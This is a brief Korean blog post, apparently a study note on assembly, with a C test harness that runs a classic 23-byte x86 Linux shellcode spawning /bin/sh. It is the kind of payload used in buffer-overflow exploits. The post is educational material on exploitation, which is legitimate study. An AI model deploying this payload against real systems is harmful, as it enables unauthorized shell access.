shell code
어셈블리2017. 5. 7. 19:35
#include <stdio.h>
#include <string.h>
char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}
'어셈블리' 카테고리의 다른 글
정수 입력 (0) | 2017.06.18 |
---|---|
XOR (0) | 2017.06.02 |
Irvine 설치 방법 (0) | 2017.05.07 |
버퍼 오버플로우 공격 (0) | 2017.05.02 |
irvine (0) | 2017.05.01 |